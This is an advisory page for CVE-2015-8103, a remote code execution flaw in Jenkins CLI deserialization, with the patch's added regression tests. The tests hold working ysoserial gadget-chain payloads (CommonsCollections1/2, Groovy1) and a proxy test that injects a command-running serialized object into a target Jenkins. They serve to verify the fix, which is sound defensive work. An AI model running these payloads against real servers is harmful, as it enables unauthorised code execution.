Critical severity9.8NVD Advisory· Published Nov 25, 2015· Updated May 6, 2026
CVE-2015-8103
CVE-2015-8103
Description
The Jenkins CLI subsystem in Jenkins before 1.638 and LTS before 1.625.2 allows remote attackers to execute arbitrary code via a crafted serialized Java object, related to a problematic webapps/ROOT/WEB-INF/lib/commons-collections-*.jar file and the "Groovy variant in 'ysoserial'".
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
org.jenkins-ci.main:cliMaven | < 1.625.2 | 1.625.2 |
org.jenkins-ci.main:cliMaven | >= 1.626, < 1.638 | 1.638 |
Affected products
4cpe:2.3:a:redhat:openshift_container_platform:2.2:*:*:*:*:*:*:*+ 1 more
- cpe:2.3:a:redhat:openshift_container_platform:2.2:*:*:*:*:*:*:*
- cpe:2.3:a:redhat:openshift_container_platform:3.1:*:*:*:*:*:*:*
Patches
2b4193d113208Merge pull request #45 from jenkinsci-cert/SECURITY-218-blackbox
16 files changed · +1356 −2
cli/src/main/java/hudson/cli/CliPort.java+2 −2 modified@@ -11,7 +11,7 @@ /** * @author Kohsuke Kawaguchi */ -final class CliPort { +public final class CliPort { /** * The TCP endpoint to talk to. */ @@ -27,7 +27,7 @@ final class CliPort { */ final String identity; - CliPort(InetSocketAddress endpoint, String identity, int version) { + public CliPort(InetSocketAddress endpoint, String identity, int version) { this.endpoint = endpoint; this.identity = identity; this.version = version;
test/pom.xml+12 −0 modified@@ -183,6 +183,18 @@ THE SOFTWARE. <artifactId>geb-implicit-assertions</artifactId> <version>0.7.2</version> </dependency> + <dependency> + <groupId>org.javassist</groupId> + <artifactId>javassist</artifactId> + <version>3.19.0-GA</version> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.apache.commons</groupId> + <artifactId>commons-collections4</artifactId> + <version>4.0</version> + <scope>test</scope> + </dependency> </dependencies> <build>
test/src/test/java/jenkins/security/Security218BlackBoxTest.java+300 −0 added@@ -0,0 +1,300 @@ +/* + * The MIT License + * + * Copyright 2015 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security; + +import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException; +import hudson.cli.CLI; +import hudson.cli.CliPort; +import hudson.remoting.BinarySafeStream; +import hudson.util.DaemonThreadFactory; +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.InetSocketAddress; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.URL; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; +import jenkins.security.security218.ysoserial.util.Serializables; +import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.Rule; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.recipes.PresetData; + +public class Security218BlackBoxTest { + + private static final String overrideURL = System.getenv("VICTIM_JENKINS_URL"); + private static final String overrideHome = System.getenv("VICTIM_JENKINS_HOME"); + static { + assertTrue("$JENKINS_URL and $JENKINS_HOME must both be defined together", (overrideURL == null) == (overrideHome == null)); + } + + private static final ExecutorService executors = Executors.newCachedThreadPool(new DaemonThreadFactory()); + + @Rule + public JenkinsRule r = new JenkinsRule(); + + @SuppressWarnings("deprecation") // really mean to use getPage(String) + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) // TODO userContent inaccessible without authentication otherwise + @Test + public void probe() throws Exception { + JenkinsRule.WebClient wc = r.createWebClient(); + final URL url = overrideURL == null ? r.getURL() : new URL(overrideURL); + wc.getPage(url + "userContent/readme.txt"); + try { + wc.getPage(url + "userContent/pwned"); + fail("already compromised?"); + } catch (FailingHttpStatusCodeException x) { + assertEquals(404, x.getStatusCode()); + } + for (int round = 0; round < 2; round++) { + final int _round = round; + final ServerSocket proxySocket = new ServerSocket(0); + executors.submit(new Runnable() { + @Override + public void run() { + try { + Socket proxy = proxySocket.accept(); + HttpURLConnection conn = (HttpURLConnection) url.openConnection(); + String host = conn.getHeaderField("X-Jenkins-CLI-Host"); + Socket real = new Socket(host == null ? url.getHost() : host, conn.getHeaderFieldInt("X-Jenkins-CLI-Port", -1)); + final InputStream realIS = real.getInputStream(); + final OutputStream realOS = real.getOutputStream(); + final InputStream proxyIS = proxy.getInputStream(); + final OutputStream proxyOS = proxy.getOutputStream(); + executors.submit(new Runnable() { + @Override + public void run() { + try { + // Read up to \x00\x00\x00\x00, end of header. + int nullCount = 0; + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + int c; + while ((c = realIS.read()) != -1) { + proxyOS.write(c); + buf.write(c); + if (c == 0) { + if (++nullCount == 4) { + break; + } + } else { + nullCount = 0; + } + } + System.err.print("← "); + display(buf.toByteArray()); + System.err.println(); + // Now assume we are in chunked transport. + PACKETS: while (true) { + buf.reset(); + //System.err.println("reading one packet"); + while (true) { // one packet, ≥1 chunk + //System.err.println("reading one chunk"); + int hi = realIS.read(); + if (hi == -1) { + break PACKETS; + } + proxyOS.write(hi); + int lo = realIS.read(); + proxyOS.write(lo); + boolean hasMore = (hi & 0x80) > 0; + if (hasMore) { + hi &= 0x7F; + } + int len = hi * 0x100 + lo; + //System.err.printf("waiting for %X bytes%n", len); + for (int i = 0; i < len; i++) { + c = realIS.read(); + proxyOS.write(c); + buf.write(c); + } + if (hasMore) { + continue; + } + System.err.print("← "); + byte[] data = buf.toByteArray(); + //display(data); + showSer(data); + System.err.println(); + break; + } + } + } catch (IOException x) { + x.printStackTrace(); + } + } + }); + executors.submit(new Runnable() { + @Override + public void run() { + try { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + ByteArrayOutputStream toCopy = new ByteArrayOutputStream(); + int c; + int nullCount = 0; + while ((c = proxyIS.read()) != -1) { + toCopy.write(c); + buf.write(c); + if (c == 0) { + if (++nullCount == 4) { + break; + } + } else { + nullCount = 0; + } + } + if (_round == 0) { + System.err.println("injecting payload into capability negotiation"); + // replacing \x00\x14Protocol:CLI-connect<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=\x00\x00\x00\x00 + new DataOutputStream(realOS).writeUTF("Protocol:CLI-connect"); // TCP agent protocol + byte[] PREAMBLE = "<===[JENKINS REMOTING CAPACITY]===>".getBytes("UTF-8"); // Capability + realOS.write(PREAMBLE); + OutputStream bss = BinarySafeStream.wrap(realOS); + bss.write(payload()); + bss.flush(); + } else { + System.err.print("→ "); + display(buf.toByteArray()); + System.err.println(); + realOS.write(toCopy.toByteArray()); + } + int packet = 0; + PACKETS: while (true) { + buf.reset(); + toCopy.reset(); + while (true) { + int hi = proxyIS.read(); + if (hi == -1) { + break PACKETS; + } + toCopy.write(hi); + int lo = proxyIS.read(); + toCopy.write(lo); + boolean hasMore = (hi & 0x80) > 0; + if (hasMore) { + hi &= 0x7F; + } + int len = hi * 0x100 + lo; + for (int i = 0; i < len; i++) { + c = proxyIS.read(); + toCopy.write(c); + buf.write(c); + } + if (hasMore) { + continue; + } + if (++packet == _round) { + System.err.println("injecting payload into packet"); + byte[] data = payload(); + realOS.write(data.length / 256); + realOS.write(data.length % 256); + realOS.write(data); + } else { + System.err.print("→ "); + byte[] data = buf.toByteArray(); + //display(data); + showSer(data); + System.err.println(); + realOS.write(toCopy.toByteArray()); + } + break; + } + } + } catch (Exception x) { + x.printStackTrace(); + } + } + }); + } catch (IOException x) { + x.printStackTrace(); + } + } + }); + try { + executors.submit(new Runnable() { + @Override + public void run() { + // Bypassing _main because it does nothing interesting here. + // Hardcoding CLI protocol version 1 (CliProtocol) because it is easier to sniff. + try { + new CLI(r.getURL()) { + @Override + protected CliPort getCliTcpPort(String url) throws IOException { + return new CliPort(new InetSocketAddress(proxySocket.getInetAddress(), proxySocket.getLocalPort()), /* ignore identity */ null, 1); + } + }.execute("help"); + } catch (Exception x) { + x.printStackTrace(); + } + } + }).get(5, TimeUnit.SECONDS); + } catch (TimeoutException x) { + System.err.println("CLI command timed out"); + } + try { + wc.getPage(url + "userContent/pwned"); + fail("Pwned!"); + } catch (FailingHttpStatusCodeException x) { + assertEquals(404, x.getStatusCode()); + } + } + } + + private static synchronized void display(byte[] data) { + for (byte c : data) { + if (c >= ' ' && c <= '~') { + System.err.write(c); + } else { + System.err.printf("\\x%02X", c); + } + } + } + + private static synchronized void showSer(byte[] data) { + try { + Object o = Serializables.deserialize(data); + System.err.print(o); + } catch (Exception x) { + System.err.printf("<%s>", x); + } + } + + /** An attack payload, as a Java serialized object ({@code \xAC\ED…}). */ + private byte[] payload() throws Exception { + File home = overrideHome == null ? r.jenkins.root : new File(overrideHome); + // TODO find a Windows equivalent + return Serializables.serialize(new CommonsCollections1().getObject("touch " + new File(new File(home, "userContent"), "pwned"))); + } + +}
test/src/test/java/jenkins/security/Security218CliTest.java+193 −0 added@@ -0,0 +1,193 @@ +/* + * The MIT License + * + * Copyright 2015 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security; + +import hudson.cli.CLI; +import hudson.cli.CLICommand; +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import java.io.File; +import java.io.PrintStream; +import jenkins.security.security218.Payload; +import org.jenkinsci.remoting.RoleChecker; +import org.junit.Test; +import static org.junit.Assert.*; +import org.junit.Rule; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.TestExtension; +import org.jvnet.hudson.test.recipes.PresetData; +import org.kohsuke.args4j.Argument; + +public class Security218CliTest { + + @Rule + public JenkinsRule r = new JenkinsRule(); + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-218") + public void probeCommonsCollections1() throws Exception { + probe(Payload.CommonsCollections1, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-218") + public void probeCommonsCollections2() throws Exception { + //TODO: Payload content issue + probe(Payload.CommonsCollections2, PayloadCaller.EXIT_CODE_REJECTED); + } + + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-218") + public void probeGroovy1() throws Exception { + probe(Payload.Groovy1, PayloadCaller.EXIT_CODE_REJECTED); + } + + //TODO: Fix the conversion layer (not urgent) + // There is an issue in the conversion layer after the migration to another XALAN namespace + // with newer libs. SECURITY-218 does not apper in this case OOTB anyway + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-218") + public void probeSpring1() throws Exception { + probe(Payload.Spring1, -1); + } + + private void probe(Payload payload, int expectedResultCode) throws Exception { + File file = File.createTempFile("security-218", payload + "-payload"); + File moved = new File(file.getAbsolutePath() + "-moved"); + + // Bypassing _main because it does nothing interesting here. + // Hardcoding CLI protocol version 1 (CliProtocol) because it is easier to sniff. + int exitCode = new CLI(r.getURL()).execute("send-payload", + payload.toString(), "mv " + file.getAbsolutePath() + " " + moved.getAbsolutePath()); + assertEquals("Unexpected result code.", expectedResultCode, exitCode); + assertTrue("Payload should not invoke the move operation " + file, !moved.exists()); + file.delete(); + } + + @TestExtension() + public static class SendPayloadCommand extends CLICommand { + + @Override + public String getShortDescription() { + return hudson.cli.Messages.ConsoleCommand_ShortDescription(); + } + + @Argument(metaVar = "payload", usage = "ID of the payload", required = true, index = 0) + public String payload; + + @Argument(metaVar = "command", usage = "Command to be launched by the payload", required = true, index = 1) + public String command; + + + protected int run() throws Exception { + Payload payloadItem = Payload.valueOf(this.payload); + PayloadCaller callable = new PayloadCaller(payloadItem, command); + return channel.call(callable); + } + + @Override + protected void printUsageSummary(PrintStream stderr) { + stderr.println("Sends a payload over the channel"); + } + } + + public static class PayloadCaller implements Callable<Integer, Exception> { + + private final Payload payload; + private final String command; + + public static final int EXIT_CODE_OK = 0; + public static final int EXIT_CODE_REJECTED = 42; + public static final int EXIT_CODE_ASSIGNMENT_ISSUE = 43; + + public PayloadCaller(Payload payload, String command) { + this.payload = payload; + this.command = command; + } + + @Override + public Integer call() throws Exception { + final Object ysoserial = payload.getPayloadClass().newInstance().getObject(command); + + // Invoke backward call + try { + Channel.current().call(new Callable<String, Exception>() { + private static final long serialVersionUID = 1L; + + @Override + public String call() throws Exception { + // We don't care what happens here. Object should be sent over the channel + return ysoserial.toString(); + } + + @Override + public void checkRoles(RoleChecker checker) throws SecurityException { + // do nothing + } + }); + } catch (Exception ex) { + Throwable cause = ex; + while (cause.getCause() != null) { + cause = cause.getCause(); + } + + if (cause instanceof SecurityException) { + // It should happen if the remote chanel reject a class. + // That's what we have done in SECURITY-218 => may be OK + if (cause.getMessage().contains("Rejected")) { + // OK + return PayloadCaller.EXIT_CODE_REJECTED; + } else { + // Something wrong + throw ex; + } + } + + final String message = cause.getMessage(); + if (message != null && message.contains("cannot be cast to java.util.Set")) { + // We ignore this exception, because there is a known issue in the test payload + // CommonsCollections1, CommonsCollections2 and Groovy1 fail witth this error, + // but actually it means that the conversion has been triggered + return EXIT_CODE_ASSIGNMENT_ISSUE; + } else { + throw ex; + } + } + return EXIT_CODE_OK; + } + + @Override + public void checkRoles(RoleChecker checker) throws SecurityException { + // Do nothing + } + + } + +}
test/src/test/java/jenkins/security/security218/Payload.java+52 −0 added@@ -0,0 +1,52 @@ +/* + * The MIT License + * + * Copyright (c) 2015 Oleg Nenashev. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218; + +import jenkins.security.security218.ysoserial.payloads.CommonsCollections1; +import jenkins.security.security218.ysoserial.payloads.CommonsCollections2; +import jenkins.security.security218.ysoserial.payloads.Groovy1; +import jenkins.security.security218.ysoserial.payloads.ObjectPayload; +import jenkins.security.security218.ysoserial.payloads.Spring1; + + +/** + * Allows to select {@link ObjectPayload}s. + * @author Oleg Nenashev + */ +public enum Payload { + CommonsCollections1(CommonsCollections1.class), + CommonsCollections2(CommonsCollections2.class), + Groovy1(Groovy1.class), + Spring1(Spring1.class); + + private final Class<? extends ObjectPayload> payloadClass; + + private Payload(Class<? extends ObjectPayload> payloadClass) { + this.payloadClass = payloadClass; + } + + public Class<? extends ObjectPayload> getPayloadClass() { + return payloadClass; + } +}
test/src/test/java/jenkins/security/security218/ysoserial/ExecBlockingSecurityManager.java+67 −0 added@@ -0,0 +1,67 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial; + +import java.security.Permission; +import java.util.concurrent.Callable; + +public class ExecBlockingSecurityManager extends SecurityManager { + @Override + public void checkPermission(final Permission perm) { } + + @Override + public void checkPermission(final Permission perm, final Object context) { } + + public void checkExec(final String cmd) { + super.checkExec(cmd); + // throw a special exception to ensure we can detect exec() in the test + throw new ExecException(cmd); + }; + + @SuppressWarnings("serial") + public static class ExecException extends RuntimeException { + private final String cmd; + public ExecException(String cmd) { this.cmd = cmd; } + public String getCmd() { return cmd; } + } + + public static void wrap(final Runnable runnable) throws Exception { + wrap(new Callable<Void>(){ + public Void call() throws Exception { + runnable.run(); + return null; + } + }); + } + + public static <T> T wrap(final Callable<T> callable) throws Exception { + SecurityManager sm = System.getSecurityManager(); + System.setSecurityManager(new ExecBlockingSecurityManager()); + try { + return callable.call(); + } finally { + System.setSecurityManager(sm); + } + } +} \ No newline at end of file
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections1.java+99 −0 added@@ -0,0 +1,99 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; +import jenkins.security.security218.ysoserial.util.Gadgets; +import jenkins.security.security218.ysoserial.util.PayloadRunner; +import jenkins.security.security218.ysoserial.util.Reflections; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.LazyMap; + + +/* + Gadget chain: + ObjectInputStream.readObject() + AnnotationInvocationHandler.readObject() + Map(Proxy).entrySet() + AnnotationInvocationHandler.invoke() + LazyMap.get() + ChainedTransformer.transform() + ConstantTransformer.transform() + InvokerTransformer.transform() + Method.invoke() + Class.getMethod() + InvokerTransformer.transform() + Method.invoke() + Runtime.getRuntime() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + + Requires: + commons-collections + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { + + public InvocationHandler getObject(final String command) throws Exception { + final String[] execArgs = new String[] { command }; + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + // real chain for after setup + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { + String.class, Class[].class }, new Object[] { + "getRuntime", new Class[0] }), + new InvokerTransformer("invoke", new Class[] { + Object.class, Object[].class }, new Object[] { + null, new Object[0] }), + new InvokerTransformer("exec", + new Class[] { String.class }, execArgs), + new ConstantTransformer(1) }; + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return handler; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections1.class, args); + } +}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections2.java+77 −0 added@@ -0,0 +1,77 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.payloads; + +import java.util.PriorityQueue; +import java.util.Queue; + +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; + +import jenkins.security.security218.ysoserial.util.Gadgets; +import jenkins.security.security218.ysoserial.util.PayloadRunner; +import jenkins.security.security218.ysoserial.util.Reflections; +import org.apache.xalan.xsltc.trax.TemplatesImpl; + +/* + Gadget chain: + ObjectInputStream.readObject() + PriorityQueue.readObject() + ... + TransformingComparator.compare() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + */ + +@SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +public class CommonsCollections2 implements ObjectPayload<Queue<Object>> { + + public Queue<Object> getObject(final String command) throws Exception { + final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); + // mock method name until armed + final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + + // create queue with numbers and basic comparator + final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); + // stub data for replacement later + queue.add(1); + queue.add(1); + + // switch method called by comparator + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + // switch contents of queue + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + queueArray[0] = templates; + queueArray[1] = 1; + + return queue; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections2.class, args); + } + +}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Groovy1.java+66 −0 added@@ -0,0 +1,66 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.payloads; + +import java.lang.reflect.InvocationHandler; +import java.util.Map; +import jenkins.security.security218.ysoserial.util.Gadgets; +import jenkins.security.security218.ysoserial.util.PayloadRunner; + +import org.codehaus.groovy.runtime.ConvertedClosure; +import org.codehaus.groovy.runtime.MethodClosure; + + +/* + Gadget chain: + ObjectInputStream.readObject() + PriorityQueue.readObject() + Comparator.compare() (Proxy) + ConvertedClosure.invoke() + MethodClosure.call() + ... + Method.invoke() + Runtime.exec() + + Requires: + groovy + */ + +@SuppressWarnings({ "rawtypes", "unchecked" }) +public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { + + public InvocationHandler getObject(final String command) throws Exception { + final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); + + final Map map = Gadgets.createProxy(closure, Map.class); + + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); + + return handler; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Groovy1.class, args); + } +}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java+32 −0 added@@ -0,0 +1,32 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.security.security218.ysoserial.payloads; + +public interface ObjectPayload<T> { + /* + * return armed payload object to be serialized that will execute specified + * command on deserialization + */ + public T getObject(String command) throws Exception; +}
